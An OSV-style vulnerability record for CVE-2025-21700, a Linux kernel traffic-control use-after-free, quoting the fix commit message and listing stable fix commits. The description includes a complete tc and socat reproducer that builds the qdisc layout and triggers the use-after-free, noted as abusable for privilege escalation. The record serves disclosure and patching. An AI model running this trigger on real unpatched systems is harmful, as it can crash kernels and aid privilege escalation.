{
  "schema_version": "1.6.1",
  "id": "RPI-CVE-2025-21700",
  "modified": "2026-10-07T17:22:01Z",
  "upstream": [
    "CVE-2025-21700"
  ],
  "published": "2025-02-13T11:30:25Z",
  "summary": "net: sched: Disallow replacing of child qdisc from one parent to another",
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: sched: Disallow replacing of child qdisc from one parent to another\n\nLion Ackermann was able to create a UAF which can be abused for privilege\nescalation with the following script\n\nStep 1. create root qdisc\ntc qdisc add dev lo root handle 1:0 drr\n\nstep2. a class for packet aggregation do demonstrate uaf\ntc class add dev lo classid 1:1 drr\n\nstep3. a class for nesting\ntc class add dev lo classid 1:2 drr\n\nstep4. a class to graft qdisc to\ntc class add dev lo classid 1:3 drr\n\nstep5.\ntc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024\n\nstep6.\ntc qdisc add dev lo parent 1:2 handle 3:0 drr\n\nstep7.\ntc class add dev lo classid 3:1 drr\n\nstep 8.\ntc qdisc add dev lo parent 3:1 handle 4:0 pfifo\n\nstep 9. Display the class/qdisc layout\n\ntc class ls dev lo\n class drr 1:1 root leaf 2: quantum 64Kb\n class drr 1:2 root leaf 3: quantum 64Kb\n class drr 3:1 root leaf 4: quantum 64Kb\n\ntc qdisc ls\n qdisc drr 1: dev lo root refcnt 2\n qdisc plug 2: dev lo parent 1:1\n qdisc pfifo 4: dev lo parent 3:1 limit 1000p\n qdisc drr 3: dev lo parent 1:2\n\nstep10. trigger the bug <=== prevented by this patch\ntc qdisc replace dev lo parent 1:3 handle 4:0\n\nstep 11. Redisplay again the qdiscs/classes\n\ntc class ls dev lo\n class drr 1:1 root leaf 2: quantum 64Kb\n class drr 1:2 root leaf 3: quantum 64Kb\n class drr 1:3 root leaf 4: quantum 64Kb\n class drr 3:1 root leaf 4: quantum 64Kb\n\ntc qdisc ls\n qdisc drr 1: dev lo root refcnt 2\n qdisc plug 2: dev lo parent 1:1\n qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p\n qdisc drr 3: dev lo parent 1:2\n\nObserve that a) parent for 4:0 does not change despite the replace request.\nThere can only be one parent.  b) refcount has gone up by two for 4:0 and\nc) both class 1:3 and 3:1 are pointing to it.\n\nStep 12.  send one packet to plug\necho \"\" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001))\nstep13.  send one packet to the grafted fifo\necho \"\" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))\n\nstep14. lets trigger the uaf\ntc class delete dev lo classid 1:3\ntc class delete dev lo classid 1:1\n\nThe semantics of \"replace\" is for a del/add _on the same node_ and not\na delete from one node(3:1) and add to another node (1:3) as in step10.\nWhile we could \"fix\" with a more complex approach there could be\nconsequences to expectations so the patch takes the preventive approach of\n\"disallow such config\".\n\nJoint work with Lion Ackermann <nnamrec@gmail.com>",
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  "references": [
    {
      "type": "ADVISORY",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-21700"
    },
    {
      "type": "FIX",
      "url": "https://git.kernel.org/stable/c/cd796e269123e1994bfc4e99dd76680ba0946a97"
    },
    {
      "type": "FIX",
      "url": "https://git.kernel.org/stable/c/fe18c21d67dc7d1bcce1bba56515b1b0306db19b"
    },
    {
      "type": "FIX",
      "url": "https://git.kernel.org/stable/c/38646749d6e12f9d80a08d21ca39f0beca20230d"
    },
    {
      "type": "FIX",
      "url": "https://git.kernel.org/stable/c/deda09c0543a66fa51554abc5ffd723d99b191bf"
    },
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      "type": "FIX",
      "url": "https://git.kernel.org/stable/c/7e2bd8c13b07e29a247c023c7444df23f9a79fd8"
    },
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      "type": "FIX",
      "url": "https://git.kernel.org/stable/c/73c7e1d6898ccbeee126194dcc05f58b8a795e70"
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    {
      "type": "FIX",
      "url": "https://git.kernel.org/stable/c/46c59ec33ec98aba20c15117630cae43a01404cc"
    },
    {
      "type": "FIX",
      "url": "https://git.kernel.org/stable/c/bc50835e83f60f56e9bec2b392fb5544f250fb6f"
    }
  ],
  "database_specific": {
    "source": "https://git.kernel.org/pub/scm/linux/security/vulns.git",
    "upstream_modified": "2026-08-05T12:19:11Z"
  }
}